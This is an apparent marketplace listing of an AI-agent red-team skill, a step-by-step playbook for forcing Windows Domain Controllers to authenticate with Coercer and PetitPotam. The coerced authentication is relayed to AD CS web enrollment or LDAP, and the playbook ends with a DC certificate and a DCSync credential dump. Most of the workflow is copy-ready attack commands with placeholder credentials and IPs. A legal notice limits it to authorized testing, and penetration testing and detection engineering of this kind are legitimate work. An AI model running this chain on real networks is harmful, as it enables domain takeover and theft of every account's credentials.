coercing-authentication-with-coercer-petitpotam
Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan/coerce/fuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized engagements to complete a coercion-relay chain against a Domain Controller, or to validate coercion detections and signing/EPA mitigations.
- License 许可
- Apache-2.0
- 最近更新
- 2026-08-31
- Stars
- ★ 3.6w
- Forks
- 4.4k
01 前言 Front Matter
- name
- coercing-authentication-with-coercer-petitpotam
- tags
- [ "red-team", "active-directory", "coercion", "petitpotam", "coercer", "ntlm-relay", "esc8", "forced-authentication" ]
- author
- mahipal
- domain
- cybersecurity
- license
- Apache-2.0
- version
- 1.0
- nist_csf
- [ "DE.CM-01" ]
- subdomain
- red-teaming
- description
- Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan/coerce/fuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized engagements to complete a coercion-relay chain against a Domain Controller, or to validate coercion detections and signing/EPA mitigations.
- mitre_attack
- [ "T1187" ]
02 资源文件 10
- 参考文档agents/openai.yaml152 B
- 参考文档domain.md2.0 KB
- 参考文档issue-tracker-github.md4.0 KB
- 参考文档issue-tracker-gitlab.md3.7 KB
- 参考文档issue-tracker-local.md1.8 KB
- 许可证LICENSE11.0 KB
- 参考文档references/api-reference.md2.4 KB
- 参考文档references/standards.md1.3 KB
- 脚本scripts/agent.py4.6 KB
- 参考文档triage-labels.md1.0 KB
03 SKILL.md 正文
Coercing Authentication with Coercer and PetitPotam
Legal Notice: This skill is for authorized security testing and educational purposes only. Authentication coercion combined with NTLM relay can yield domain compromise. Use only against systems you own or have explicit written authorization to test. Unauthorized use is illegal.
Overview
Many Windows RPC interfaces expose methods that take a UNC path and cause the receiving server to authenticate to that path using its machine account. An attacker who can reach these interfaces can force a target (commonly a Domain Controller) to authenticate to an attacker-controlled host. On its own this is "Forced Authentication"; combined with an NTLM relay, the coerced machine credential is relayed to a service that does not enforce signing/EPA, most famously AD CS Web Enrollment (ESC8), yielding a certificate for the Domain Controller and ultimately domain compromise.
PetitPotam (Gilles Lionel / topotam) abuses the MS-EFSR (Encrypting File System Remote Protocol) EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv methods. Coercer (p0dalirius) generalizes the technique: it is a Python tool that automatically coerces a Windows server to authenticate to an arbitrary machine through 12 methods spanning multiple protocols — MS-EFSR (PetitPotam), MS-RPRN (PrinterBug/SpoolSample), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, and more. Coercer operates in three modes: scan (probe which RPC methods are reachable/coercible), coerce (trigger authentication), and fuzz (research path variations). Sources: p0dalirius/Coercer, topotam/PetitPotam, The Hacker Recipes — Forced Authentications.
When to Use
- To complete an ESC8/ESC11 chain by forcing a DC to authenticate to a relay
- To trigger machine authentication for NTLM relay to LDAP (RBCD) or SMB
- When a relay target is identified but no inbound authentication is occurring naturally
- During detection engineering to generate coercion telemetry for blue-team tuning
- To validate that DCs/servers are patched and that relay mitigations (signing/EPA) hold
Prerequisites
- Authorized scope including coercion and NTLM relay techniques
- Valid (often low-privileged) domain credentials; some methods work unauthenticated against unpatched hosts
- A relay listener (Certipy
relayor Impacketntlmrelayx) on a reachable host - Network reachability to the target's RPC endpoints (135 + dynamic, 445)
- Linux attack host with Python 3.8+; install the tools:
# Coercer pipx install coercer # or: sudo python3 -m pip install coercer coercer --help # PetitPotam (source) git clone https://github.com/topotam/PetitPotam # Impacket (provides ntlmrelayx, dFSCoerce etc.) pipx install impacket
Objectives
- Identify which RPC coercion methods a target exposes (scan mode)
- Stand up an NTLM relay pointed at a vulnerable service (e.g., AD CS web enrollment)
- Coerce the target machine account to authenticate to the relay
- Obtain a relayed artifact (DC certificate via ESC8, RBCD write via LDAP)
- Document coercible methods and recommend patching/mitigations
MITRE ATT&CK Mapping
| ID | Technique | Application in this skill |
|---|---|---|
| T1187 | Forced Authentication | Using MS-EFSR/MS-RPRN/MS-DFSNM/MS-FSRVP RPC methods to force a target machine account to authenticate to an attacker-controlled host |
Chained techniques: T1557.001 (LLMNR/NBT-NS Poisoning and SMB/NTLM Relay) and T1649 (Steal or Forge Authentication Certificates) when relayed into AD CS.
Workflow
Step 1: Scan the target for coercible methods
Use Coercer's scan mode to enumerate which RPC methods on the target can be leveraged. This identifies the best coercion vector without firing a full attack.
coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
-t is the target (e.g., the DC), -l is the listener IP that should receive the coerced authentication.
Step 2: Stand up the relay (ESC8 example)
In a separate terminal, start the relay aimed at AD CS web enrollment so any relayed DC authentication yields a DomainController certificate.
# Certipy relay into HTTP web enrollment (ESC8)
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'
# Alternative: Impacket ntlmrelayx
impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
Step 3: Coerce authentication with Coercer
Trigger the target machine account to authenticate to the relay/listener. --always-continue tries every method until one succeeds.
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --always-continue
To use a single specific method (quieter), filter by method name:
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam
Step 4: Coerce with PetitPotam directly (MS-EFSR)
PetitPotam is the canonical MS-EFSR coercion and works unauthenticated against unpatched DCs. Syntax: petitpotam.py <listener> <target>.
# Unauthenticated attempt
python3 PetitPotam.py 10.0.0.50 10.0.0.10
# Authenticated (more reliable on patched-but-vulnerable hosts)
python3 PetitPotam.py -u attacker -p 'Passw0rd!' -d corp.local 10.0.0.50 10.0.0.10
Step 5: Use the relayed result
For ESC8, the relay writes a DC certificate (dc.pfx). Authenticate as the DC and DCSync.
certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
# Then DCSync with the recovered DC credential
impacket-secretsdump -k -no-pass 'corp.local/dc$@dc.corp.local' -just-dc
Step 6: Relay to LDAP for RBCD (alternative chain)
If ESC8 is unavailable, relay coerced auth to LDAP to configure Resource-Based Constrained Delegation.
# Relay to LDAP and delegate to attacker-controlled computer account
impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access \
--escalate-user 'attacker$' -smb2support
# Then coerce as in Step 3
Step 7: Fuzz mode for unpatched-path discovery (research)
Fuzz mode varies UNC paths to find coercion paths bypassing partial patches.
coercer fuzz -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
Tools and Resources
| Resource | Purpose | Link |
|---|---|---|
| Coercer | Multi-method automated coercion (12 methods) | https://github.com/p0dalirius/Coercer |
| PetitPotam | MS-EFSR coercion | https://github.com/topotam/PetitPotam |
| Certipy relay | ESC8/ESC11 relay target | https://github.com/ly4k/Certipy |
| Impacket ntlmrelayx | Relay to AD CS / LDAP / SMB | https://github.com/fortra/impacket |
| The Hacker Recipes | Coercion & relay theory | https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications |
Coercion Method Reference
| Method | Protocol | Notes |
|---|---|---|
| PetitPotam | MS-EFSR | EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv; classic ESC8 trigger |
| PrinterBug / SpoolSample | MS-RPRN | RpcRemoteFindFirstPrinterChangeNotificationEx; needs Spooler |
| DFSCoerce | MS-DFSNM | NetrDfsAddStdRoot; often works post-PetitPotam patch |
| ShadowCoerce | MS-FSRVP | IsPathSupported / IsPathShadowCopied |
| Others (Coercer) | MS-EVEN, etc. | 12 methods total; use scan to enumerate |
Validation Criteria
- [ ] Coercer scan identified at least one reachable coercion method on the target
- [ ] Relay listener stood up against a confirmed vulnerable service
- [ ] Target machine account successfully coerced to authenticate to the listener
- [ ] Relayed artifact obtained (DC certificate, RBCD write, or SMB exec)
- [ ] (ESC8) DC certificate used to authenticate and DCSync demonstrated
- [ ] Coercible methods documented with affected host and patch recommendation
- [ ] Relay mitigations (SMB/LDAP signing, EPA, RPC filters) validated or flagged
04 同仓库更多 Skills
verifying-build-provenance-with-slsa-sigstore
Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI/CD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.
validating-tpm-measured-boot-attestation
Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote/tpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware/kernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.
validating-backup-integrity-for-recovery
Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable/air-gapped backups for silent corruption or tampering.
triaging-windows-with-kape
Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment/triage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.
triaging-vulnerabilities-with-ssvc-framework
Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track/Track*/Attend/Act decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.
triaging-security-incident
Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM/EDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.